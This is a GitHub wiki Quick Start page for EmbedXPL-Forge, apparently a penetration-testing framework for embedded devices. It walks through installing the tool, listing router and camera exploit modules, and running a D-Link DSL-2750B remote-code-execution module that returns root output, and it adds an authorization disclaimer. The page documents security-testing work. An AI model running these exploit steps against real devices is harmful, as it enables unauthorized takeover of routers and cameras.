-
Notifications
You must be signed in to change notification settings - Fork 7
Quick Start
André Henrique edited this page Jun 8, 2026
·
2 revisions
pip install embedxplgit clone https://github.com/mrhenrike/EmbedXPL-Forge.git
cd EmbedXPL-Forge
pip install -e .embedxpl --versionEmbedXPL-Forge v3.2.0 - Embedded Device Security Assessment Framework
Python 3.11.9 | BSD-3-Clause | github.com/mrhenrike/EmbedXPL-Forge
embedxpl ______ _ _ __ ____ _
| ____| | | | | \ \ / / \| |
| |__ _ __ ___ | |__ ___ __| | \ V / .` |
| __|| '_ ` _ \| '_ \ / _ \/ _` | > <| | |
| |___| | | | | | |_) | __/ (_| | / ^ \ |_| |
|_____|_| |_| |_|_.__/ \___|\__,_| /_/ \_\____/
Embedded & Perimeter Security Assessment Framework v3.2.0
3000+ modules | 700+ CVEs | 114+ vendors
exf >
exf > show modulesExploit Modules:
exploits/routers/asus (14 modules)
exploits/routers/dlink (31 modules)
exploits/routers/netgear (18 modules)
exploits/cameras/hikvision (22 modules)
exploits/cameras/dahua (19 modules)
exploits/printers/hp (24 modules)
...
exf > show modules type=scanners
exf > search dlink[*] Searching for: dlink
Modules found (47):
exploits/routers/dlink/dir_300_615_rce
exploits/routers/dlink/dsl_2750b_rce
exploits/cameras/dlink/dcs_932l_auth_bypass
exploits/cameras/dlink/dcs_932l_light_sensor_rce_cve_2026_36983
...
exf > use exploits/routers/dlink/dsl_2750b_rce
exf (DSL2750B RCE) > show options
Module: DSL2750B RCE
Name: D-Link DSL-2750B Remote Code Execution
CVE: CVE-2016-20017
CVSS: 9.8 (Critical)
Target: D-Link DSL-2750B, DSL-2750E, related models
Options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.1 yes Target IP address
RPORT 80 yes HTTP port
CMD id yes Command to execute
TIMEOUT 10 no Connection timeout
exf (DSL2750B RCE) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
exf (DSL2750B RCE) > check
[*] Checking 192.168.1.1:80...
[+] Target appears vulnerable (DSL-2750B firmware < 1.08)
exf (DSL2750B RCE) > run
[*] Running against 192.168.1.1:80
[+] Command executed: id
[+] Output: uid=0(root) gid=0(root) groups=0(root)
[+] RCE confirmed - target is compromisedAlways obtain written authorization before testing any device you do not own. This framework is for authorized security research and penetration testing only.
- Start with
checkbeforerunto avoid unnecessary noise - Use
simulate=truefor modules that support it (destructive operations) - Log sessions:
exf > set LOGLEVEL debug - Set a responsible timeout:
exf > set TIMEOUT 10
Getting Started
Modules
Shell & Post-Exploitation
Tools & Infrastructure
- NSE-Script-Manager
- Firmware-Tools
- Discover-Command
- Sessions-Command
- APT-Catalog
- Sysinfo-and-Compute
- Infra-Wizard-Mode
- Catalogs-and-Tools
Reference
Comecar
Modulos
- Modulos-de-Credenciais
- Modulos-de-Exploit
- Modulos-Genericos
- AutoPwn-pt-BR
- Payloads-e-Encoders
- Modulos-Dispositivos-ISP
- Modulos-OSINT
Shell e Pos-Exploracao
Ferramentas e Infraestrutura
- Gerenciador-NSE
- Firmware-Tools
- Descoberta-de-Rede
- Gerenciamento-de-Sessoes
- APT-Catalog
- Sysinfo-and-Compute
- Infra-Wizard-Mode
- Catalogos-e-Ferramentas
Referencia